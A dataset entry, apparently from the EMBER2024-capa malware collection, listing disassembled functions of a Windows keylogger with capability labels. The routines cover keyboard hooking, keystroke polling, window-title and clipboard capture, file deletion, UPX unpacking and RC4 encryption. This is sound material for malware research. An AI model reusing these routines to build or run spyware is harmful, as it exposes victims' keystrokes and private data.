joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4060ed
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
xor ebx, ebx
cmp dword [0x40c9dc], ebx
push esi
push edi
jne 0x40616d
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x4061a8
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40ab14
push edi
call esi
test eax, eax
mov dword [0x40c9dc], eax
je 0x4061a8
push str.GetActiveWindow
push edi
call esi
push str.GetLastActivePopup
push edi
mov dword [0x40c9e0], eax
call esi
cmp dword [0x40c86c], 2
mov dword [0x40c9e4], eax
jne 0x40616d
push str.GetUserObjectInformationA
push edi
call esi
test eax, eax
mov dword [0x40c9ec], eax
je 0x40616d
push str.GetProcessWindowStation
push edi
call esi
mov dword [0x40c9e8], eax
mov eax, dword [0x40c9e8]
test eax, eax
je 0x4061b2
call eax
test eax, eax
je 0x406199
lea ecx, [ebp - 4]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [0x40c9ec]
test eax, eax
je 0x406199
test byte [ebp - 8], 1
jne 0x4061b2
cmp dword [0x40c878], 4
jb 0x4061ac
or byte [ebp + 0x12], 0x20
jmp 0x4061d1
xor eax, eax
jmp 0x4061e1
or byte [ebp + 0x12], 4
jmp 0x4061d1
mov eax, dword [0x40c9e0]
test eax, eax
je 0x4061d1
call eax
mov ebx, eax
test ebx, ebx
je 0x4061d1
mov eax, dword [0x40c9e4]
test eax, eax
je 0x4061d1
push ebx
call eax
mov ebx, eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push ebx
call dword [0x40c9dc]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4064ab
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, dword [esi + 8]
test bl, 3
jne 0x4064d9
mov eax, dword fs:[0x18]
mov dword [ebp + 8], eax
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 8]
cmp ebx, ecx
mov dword [ebp - 4], ecx
jb 0x4064e0
cmp ebx, dword [eax + 4]
jae 0x4064e0
xor eax, eax
jmp 0x4066d0
push edi
mov edi, dword [esi + 0xc]
cmp edi, 0xffffffff
jne 0x4064f1
xor eax, eax
inc eax
jmp 0x4066cf
xor edx, edx
mov dword [ebp + 8], edx
mov eax, ebx
mov ecx, dword [eax]
cmp ecx, 0xffffffff
je 0x406507
cmp ecx, edx
jae 0x40664c
cmp dword [eax + 4], 0
je 0x406510
inc dword [ebp + 8]
inc edx
add eax, 0xc
cmp edx, edi
jbe 0x4064f8
cmp dword [ebp + 8], 0
je 0x406532
mov eax, dword [esi - 8]
cmp eax, dword [ebp - 4]
jb 0x40664c
cmp eax, esi
jae 0x40664c
mov eax, dword [0x40c9f0]
mov edi, ebx
and edi, 0xfffff000
xor esi, esi
test eax, eax
jle 0x406557
cmp dword [esi*4 + 0x40c9f8], edi
je 0x406650
inc esi
cmp esi, eax
jl 0x406545
push 0x1c
lea eax, [ebp - 0x20]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x4066cc
cmp dword [ebp - 8], 0x1000000
jne 0x4066cc
test byte [ebp - 0xc], 0xcc
je 0x4065d5
mov ecx, dword [ebp - 0x1c]
cmp word [ecx], 0x5a4d
jne 0x4066cc
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x4066cc
cmp word [eax + 0x18], 0x10b
jne 0x4066cc
sub ebx, ecx
cmp word [eax + 6], 0
movzx ecx, word [eax + 0x14]
lea ecx, [ecx + eax + 0x18]
jbe 0x4066cc
mov eax, dword [ecx + 0xc]
cmp ebx, eax
jb 0x4065d5
mov edx, dword [ecx + 8]
add edx, eax
cmp ebx, edx
jae 0x4065d5
test byte [ecx + 0x27], 0x80
jne 0x40664c
push 1
push 0x40ca38
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
test eax, eax
jne 0x4064e9
mov ecx, dword [0x40c9f0]
test ecx, ecx
mov edx, ecx
jle 0x406609
lea eax, [ecx*4 + 0x40c9f4]
cmp dword [eax], edi
je 0x406609
dec edx
sub eax, 4
test edx, edx
jg 0x4065fd
test edx, edx
jne 0x40663a
push 0xf
pop ebx
cmp ecx, ebx
jg 0x406616
mov ebx, ecx
xor edx, edx
test ebx, ebx
jl 0x40662e
lea eax, [edx*4 + 0x40c9f8]
mov esi, dword [eax]
inc edx
cmp edx, ebx
mov dword [eax], edi
mov edi, esi
jle 0x40661c
cmp ecx, 0x10
jge 0x40663a
inc ecx
mov dword [0x40c9f0], ecx
push 0
push 0x40ca38
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
jmp 0x4064e9
xor eax, eax
jmp 0x4066cf
test esi, esi
jle 0x4064e9
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 1
push 0x40ca38
call ebx
test eax, eax
jne 0x4064e9
cmp dword [esi*4 + 0x40c9f8], edi
je 0x4066a6
mov eax, dword [0x40c9f0]
lea esi, [eax - 1]
test esi, esi
jl 0x406694
cmp dword [esi*4 + 0x40c9f8], edi
je 0x406690
dec esi
jns 0x406684
test esi, esi
jge 0x4066a4
cmp eax, 0x10
jge 0x40669f
inc eax
mov dword [0x40c9f0], eax
lea esi, [eax - 1]
jmp 0x4066a6
je 0x4066be
xor ecx, ecx
test esi, esi
jl 0x4066be
lea eax, [ecx*4 + 0x40c9f8]
mov edx, dword [eax]
inc ecx
cmp ecx, esi
mov dword [eax], edi
mov edi, edx
jle 0x4066ac
push 0
push 0x40ca38
call ebx
jmp 0x4064e9
or eax, 0xffffffff
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40845d
Capabilities:
Clear file content

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1008
call fcn.004060b0
mov eax, dword [0x40c040]
push ebx
mov ebx, dword [ebp + 8]
push esi
xor esi, esi
cmp ebx, dword [0x40dcec]
mov dword [ebp - 4], eax
jae 0x4085a0
mov eax, ebx
sar eax, 5
mov eax, dword [eax*4 + 0x40dd00]
mov ecx, ebx
and ecx, 0x1f
test byte [eax + ecx*8 + 4], 1
je 0x4085a0
push 1
push esi
push ebx
call fcn.004066d4
add esp, 0xc
cmp eax, 0xffffffff
mov dword [ebp - 0x1008], eax
je 0x4085aa
push 2
push esi
push ebx
call fcn.004066d4
add esp, 0xc
cmp eax, 0xffffffff
je 0x4085aa
push edi
mov edi, dword [ebp + 0xc]
sub edi, eax
test edi, edi
jle 0x40854a
push 0x1000
lea eax, [ebp - 0x1004]
push esi
push eax
call fcn.00408ca0
push 0x8000
push ebx
call fcn.00408d00
add esp, 0x14
mov dword [ebp + 8], eax
mov eax, 0x1000
cmp edi, eax
jge 0x408509
mov eax, edi
push eax
lea eax, [ebp - 0x1004]
push eax
push ebx
call fcn.004043a4
add esp, 0xc
cmp eax, 0xffffffff
je 0x408527
sub edi, eax
test edi, edi
jg 0x4084fe
jmp 0x40853d
cmp dword [0x40c864], 5
jne 0x40853a
mov dword [0x40c860], 0xd
or esi, 0xffffffff
push dword [ebp + 8]
push ebx
call fcn.00408d00
pop ecx
pop ecx
jmp 0x40858a
jge 0x40858a
push 0
push dword [ebp + 0xc]
push ebx
call fcn.004066d4
push ebx
call fcn.004076b0
add esp, 0x10
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov esi, eax
neg esi
sbb esi, esi
neg esi
dec esi
cmp esi, 0xffffffff
jne 0x40858a
mov dword [0x40c860], 0xd
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [0x40c864], eax
push 0
push dword [ebp - 0x1008]
push ebx
call fcn.004066d4
add esp, 0xc
mov eax, esi
pop edi
jmp 0x4085ad
mov dword [0x40c860], 9
or eax, 0xffffffff
mov ecx, dword [ebp - 4]
pop esi
pop ebx
call fcn.00402673
leave
ret
Function at 0x408f8e
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push ebx
push esi
push edi
push 4
pop eax
call fcn.004060b0
mov esi, esp
push 0x1c
lea eax, [ebp - 0x28]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x409029
mov ebx, dword [ebp - 0x24]
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [ebp - 0x48]
mov eax, dword [0x40c86c]
lea edi, [ecx - 1]
not edi
and edi, esi
sub edi, ecx
mov esi, eax
dec esi
neg esi
sbb esi, esi
and esi, 0xfffffff1
add esi, 0x11
imul esi, ecx
add esi, ebx
cmp edi, esi
mov dword [ebp - 8], ecx
jb 0x409029
cmp eax, 1
je 0x40904a
mov dword [ebp - 4], ebx
mov ebx, 0x1000
push 0x1c
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x409029
mov eax, dword [ebp - 0x1c]
add dword [ebp - 4], eax
test dword [ebp - 0x18], ebx
je 0x408ff6
test byte [ebp - 0x13], 1
mov eax, dword [ebp - 0x28]
mov dword [ebp - 4], eax
je 0x409025
xor eax, eax
inc eax
jmp 0x409069
cmp edi, eax
jae 0x40902d
xor eax, eax
jmp 0x409069
cmp eax, esi
jae 0x409034
mov dword [ebp - 4], esi
push 4
push ebx
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov eax, dword [0x40c86c]
jmp 0x40904d
mov dword [ebp - 4], edi
dec eax
neg eax
sbb eax, eax
and eax, 0x103
lea ecx, [ebp - 0xc]
push ecx
inc eax
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea esp, [ebp - 0x58]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x431210
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x2c000]
push edi
or ebp, 0xffffffff
jmp 0x431232
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x431239
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x431228
mov eax, 1
add ebx, ebx
jne 0x43124b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x431240
jne 0x43125c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x431240
xor ecx, ecx
sub eax, 3
jb 0x431270
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4312e2
mov ebp, eax
add ebx, ebx
jne 0x43127b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x431288
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x4312ac
inc ecx
add ebx, ebx
jne 0x431298
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x43128d
jne 0x4312a9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x43128d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4312cc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4312bd
jmp 0x43122e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4312cc
add edi, ecx
jmp 0x43122e
pop esi
mov edi, esi
mov ecx, 0x225
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4312ea
cmp byte [edi], 1
jne 0x4312ea
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x4312ef
lea edi, [esi + 0x2f000]
mov eax, dword [edi]
or eax, eax
je 0x431367
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x3292c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x329e0]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x43131c
mov ecx, edi
jns 0x43134b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x329e4]
or eax, eax
je 0x431361
mov dword [ebx], eax
add ebx, 4
jmp 0x431339
call dword [esi + 0x329e8]
popal
jmp 0x403330
Function at 0x401377
Capabilities:
Create thread

Disassembly:
mov eax, 0x421f6e
call fcn.00421f24
push ecx
push ebx
push esi
push edi
mov esi, ecx
lea eax, [ebp + 8]
xor ebx, ebx
mov dword [ebp - 4], ebx
lea ecx, [esi + 0x68]
push eax
mov byte [esi + 0x50], 1
call fcn.004026c8
sub esp, 0x18
mov ecx, esp
push 0x428b7c
call fcn.00402781
mov ecx, esi
call fcn.00401d48
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
push ebx
push ebx
push esi
push 0x40145c
push ebx
push ebx
call edi
cmp dword [esi], ebx
jne 0x4013d4
push ebx
push ebx
push esi
push 0x401446
push ebx
push ebx
call edi
push ebx
push ebx
push esi
push 0x401468
push ebx
push ebx
call edi
lea ecx, [ebp + 8]
call fcn.004026f5
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret 0x18

Function at 0x4013f9
Capabilities:
Create thread

Disassembly:
mov eax, 0x421f6e
call fcn.00421f24
push esi
push edi
mov esi, ecx
lea eax, [ebp + 8]
xor edi, edi
push eax
lea ecx, [esi + 0x68]
mov dword [ebp - 4], edi
call fcn.004026c8
cmp byte [esi + 0x50], 0
jne 0x40142e
push edi
push edi
push esi
push 0x401452
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
lea ecx, [ebp + 8]
call fcn.004026f5
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
leave
ret 0x18

Function at 0x401488
Capabilities:
Log keystrokes via application hook

Disassembly:
mov eax, 0x421f88
call fcn.00421f24
sub esp, 0x3c
push ebx
push esi
mov esi, ecx
xor ebx, ebx
mov dword [0x42d570], esi
mov eax, dword [esi]
test eax, eax
jne 0x401514
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
push 0x401474
push 0xd
call dword [sym.imp.USER32.dll_SetWindowsHookExW]
mov dword [esi], eax
test eax, eax
jne 0x401514
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea ecx, [ebp - 0x2c]
call fcn.00406af1
sub esp, 0x18
mov dword [ebp - 4], ebx
mov ecx, esp
mov dword [ebp - 0x10], esp
mov edx, str.Keylogger_initialization_failure:_error
push eax
call fcn.004031e4
sub esp, 0x14
mov byte [ebp - 4], 1
mov ecx, esp
push str._ERROR_
call fcn.004028b7
mov byte [ebp - 4], bl
call fcn.00406b29
add esp, 0x30
lea ecx, [ebp - 0x2c]
call fcn.0040284f
xor eax, eax
inc eax
jmp 0x40153f
push ebx
push ebx
push ebx
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
je 0x40153d
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
cmp dword [esi], ebx
jne 0x401514
xor eax, eax
mov ecx, dword [ebp - 0xc]
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret
Function at 0x4015c6
Capabilities:
Get keyboard layout
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
lea eax, [ebp - 0x124]
push ebx
push esi
push edi
push 0x100
push 0
push eax
mov ebx, ecx
call fcn.0040b2d0
add esp, 0xc
lea edi, [ebp - 0x24]
xor eax, eax
push 8
pop ecx
rep stosd dword es:[edi], eax
call dword [sym.imp.USER32.dll_GetForegroundWindow]
lea ecx, [ebp - 4]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
push 0x10
mov esi, eax
call dword [sym.imp.USER32.dll_GetKeyState]
lea eax, [ebp - 0x124]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardState]
push esi
push 0
push 0x10
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x124]
push eax
push dword [ebx + 0x58]
push dword [ebx + 0x54]
call dword [sym.imp.USER32.dll_ToUnicodeEx]
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x24]
push eax
call fcn.00402781
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x4017dd
Capabilities:
Get file size

Disassembly:
push ecx
mov eax, dword [0x42d8c0]
or eax, dword [0x42d8c4]
push ebx
push esi
push edi
mov esi, ecx
je 0x401888
xor ebx, ebx
mov byte [esi + 0x39], bl
push ebx
push 0x80
push 3
push ebx
push 7
push 0x80000000
mov ecx, 0x42d878
call fcn.004026b2
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x40185f
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp ebx, dword [0x42d8c4]
jb 0x401856
ja 0x40183b
cmp eax, dword [0x42d8c0]
jb 0x401856
mov byte [esi + 0x39], 1
cmp byte [esi + 0x50], bl
je 0x40184b
mov ecx, esi
call fcn.00401cd8
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x401862
mov byte [esi + 0x39], bl
cmp byte [esi + 0x39], 1
je 0x4017f9
cmp byte [esi + 0x50], bl
jne 0x401888
cmp byte [esi + 0x49], 0x31
jne 0x401888
sub esp, 0x18
lea eax, [esi + 0x68]
mov ecx, esp
push eax
call fcn.004027b4
mov ecx, esi
call fcn.00401377
pop edi
pop esi
pop ebx
pop ecx
ret
Function at 0x40188d
Capabilities:
Create directory
Get file attributes
Set file attributes

Disassembly:
push ebx
push esi
mov esi, ecx
push edi
lea ebx, [esi + 4]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, esi
call fcn.004017dd
mov ecx, ebx
call fcn.004032a0
test al, al
je 0x401954
mov ecx, 0x42d890
call fcn.0040267c
test al, al
jne 0x4018d2
push 0
call fcn.004026b2
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea edi, [esi + 0x68]
mov ecx, edi
call fcn.004026b2
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
test al, 2
je 0x4018fa
push 0x80
mov ecx, edi
call fcn.004026b2
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
cmp dword [esi + 0xd0], 0
jne 0x401928
push 1
mov ecx, edi
call fcn.004026b2
push eax
mov ecx, ebx
call fcn.004026a9
mov edx, eax
add edx, edx
call fcn.004026b2
mov ecx, eax
call fcn.004062a8
pop ecx
pop ecx
jmp 0x40192f
mov ecx, esi
call fcn.00401964
push 0x428bec
mov ecx, ebx
call fcn.004026c3
cmp dword [esi + 0xd4], 1
jne 0x401954
push 6
mov ecx, edi
call fcn.004026b2
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
cmp byte [esi + 0x50], 0
jne 0x401895
pop edi
pop esi
xor eax, eax
pop ebx
ret
Function at 0x401aa5
Capabilities:
Get graphical window text

Disassembly:
push ebp
sub esp, 0x74
mov eax, 0x422010
call fcn.00421f24
sub esp, 0x18
push ebx
push esi
push edi
mov edi, ecx
cmp byte [edi + 0x50], 0
je 0x401cc4
mov eax, dword fs:[0x2c]
mov ecx, dword [eax]
mov dword [ebp + 0x6c], ecx
mov eax, dword [0x42d93c]
cmp eax, dword [ecx + 4]
jle 0x401b12
push 0x42d93c
call fcn.00408629
cmp dword [0x42d93c], 0xffffffff
pop ecx
jne 0x401b12
mov ecx, 0x42d940
call fcn.004027a1
push 0x422593
call fcn.004089b5
mov dword [esp], 0x42d93c
call fcn.004085df
pop ecx
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov ebx, eax
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
mov esi, eax
push 0
lea ecx, [esi + 1]
push ecx
lea ecx, [ebp + 0x54]
call fcn.0040275d
and dword [ebp - 4], 0
test esi, esi
je 0x401be4
lea ecx, [ebp + 0x54]
call fcn.004026a9
push eax
call fcn.004026b2
push eax
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov edx, 0x42d940
lea ecx, [ebp + 0x54]
call fcn.004032ac
test al, al
jne 0x401be4
lea eax, [ebp + 0x54]
mov ecx, 0x42d940
push eax
call fcn.004026c8
push ecx
lea ecx, [ebp + 0x54]
call fcn.004026a9
dec eax
push eax
call fcn.00402688
cmp byte [0x42d861], 0
lea eax, [ebp + 0x54]
je 0x401bad
sub esp, 0x18
mov ecx, esp
push eax
call fcn.004027b4
mov ecx, edi
call fcn.00401d48
jmp 0x401be4
push eax
mov edx, 0x428bf8
lea ecx, [ebp + 0x30]
call fcn.00403234
sub esp, 0x14
mov byte [ebp - 4], 1
mov ecx, esp
mov edx, eax
push 0x428bf0
call fcn.0040314e
pop ecx
mov ecx, edi
call fcn.0040178f
lea ecx, [ebp + 0x30]
mov byte [ebp - 4], 0
call fcn.004026f5
cmp dword [edi + 0x4c], 0
je 0x401bf1
mov ecx, edi
call fcn.0040236a
call fcn.00406ad0
mov esi, 0xea60
cmp eax, esi
jb 0x401ca2
mov ebx, dword [ebp + 0x70]
cmp byte [edi + 0x50], 0
je 0x401cbc
call fcn.00406ad0
cmp eax, esi
jb 0x401c2b
mov ebx, eax
push 0x3e8
mov dword [ebp + 0x70], ebx
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x401c06
push 0xa
lea eax, [ebp + 0x48]
xor edx, edx
push eax
mov eax, ebx
div esi
push eax
call fcn.00412875
add esp, 0xc
lea eax, [ebp + 0x48]
lea ecx, [ebp - 0x24]
push eax
call fcn.004028b7
push eax
mov edx, str._r_nUser_was_idle_for
mov byte [ebp - 4], 2
lea ecx, [ebp]
call fcn.004031e4
mov byte [ebp - 4], 3
lea ecx, [ebp + 0x18]
mov edx, eax
mov dword [esp], str._minutes_r_n
call fcn.004032b3
sub esp, 0x14
mov byte [ebp - 4], 4
mov edx, eax
mov ecx, esp
call fcn.00406333
mov ecx, edi
call fcn.0040178f
lea ecx, [ebp + 0x18]
call fcn.0040284f
lea ecx, [ebp]
call fcn.0040284f
lea ecx, [ebp - 0x24]
call fcn.0040284f
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x54]
call fcn.004026f5
cmp byte [edi + 0x50], 0
je 0x401cc4
mov ecx, dword [ebp + 0x6c]
jmp 0x401ad0
lea ecx, [ebp + 0x54]
call fcn.004026f5
mov ecx, dword [ebp - 0xc]
xor eax, eax
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
add ebp, 0x78
leave
ret
Function at 0x402330
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push esi
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x402354
push 0xd
call dword [sym.imp.USER32.dll_GetClipboardData]
mov esi, eax
call dword [sym.imp.USER32.dll_CloseClipboard]
test esi, esi
je 0x402354
push esi
jmp 0x402359
push 0x428bec
mov ecx, dword [esp + 0xc]
call fcn.00402781
mov eax, dword [esp + 8]
pop esi
ret 4

Function at 0x40263f
Capabilities:
Delete directory
Delete file
Terminate thread

Disassembly:
push esi
push edi
mov ecx, 0x42d878
call fcn.004026b2
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov edi, 0x42d890
mov esi, eax
mov ecx, edi
call fcn.004032a0
test al, al
je 0x40263a
mov ecx, edi
call fcn.004026b2
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
pop edi
mov eax, esi
pop esi
ret
push ebx
xor ebx, ebx
push ebx
push 0x40145c
mov byte [0x42d860], bl
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov eax, dword [0x42d810]
test eax, eax
je 0x402676
push eax
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
push ebx
push 0x401446
mov dword [0x42d810], ebx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
pop ebx
jmp 0x402607

Function at 0x4040b4
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebx
push ebp
push esi
xor esi, esi
push edi
mov edi, ecx
mov eax, esi
movd xmm0, eax
pshufd xmm0, xmm0, 0
paddd xmm0, xmmword [0x4294a0]
movups xmmword [edi + eax*4], xmm0
add eax, 4
cmp eax, 0x100
jl 0x4040be
mov ebp, dword [esp + 0x14]
mov ebx, esi
xor edx, edx
mov eax, ebx
div dword [esp + 0x18]
movzx eax, byte [edx + ebp]
add eax, dword [edi + ebx*4]
add esi, eax
and esi, 0x800000ff
jns 0x404104
dec esi
or esi, 0xffffff00
inc esi
mov cl, byte [edi + ebx*4]
mov eax, dword [edi + esi*4]
mov dword [edi + ebx*4], eax
inc ebx
movzx eax, cl
mov dword [edi + esi*4], eax
cmp ebx, 0x100
jl 0x4040e3
pop edi
pop esi
pop ebp
pop ebx
ret 8

Function at 0x404123
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x400
lea eax, [esp]
push ebx
push esi
push edi
push 0x400
push ecx
xor esi, esi
push eax
mov edi, esi
call fcn.00409c70
mov edx, dword [esp + 0x420]
add esp, 0xc
mov ebx, esi
add edx, 1
je 0x4041b3
push ebp
mov ebp, dword [esp + 0x414]
inc esi
and esi, 0x800000ff
jns 0x404169
dec esi
or esi, 0xffffff00
inc esi
mov eax, dword [esp + esi*4 + 0x10]
add edi, eax
and edi, 0x800000ff
jns 0x40417f
dec edi
or edi, 0xffffff00
inc edi
mov cl, al
mov eax, dword [esp + edi*4 + 0x10]
mov dword [esp + esi*4 + 0x10], eax
movzx eax, cl
mov dword [esp + edi*4 + 0x10], eax
mov ecx, dword [esp + esi*4 + 0x10]
add ecx, eax
and ecx, 0x800000ff
jns 0x4041a6
dec ecx
or ecx, 0xffffff00
inc ecx
mov al, byte [esp + ecx*4 + 0x10]
xor byte [ebx + ebp], al
inc ebx
cmp ebx, edx
jb 0x404158
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x400
ret 8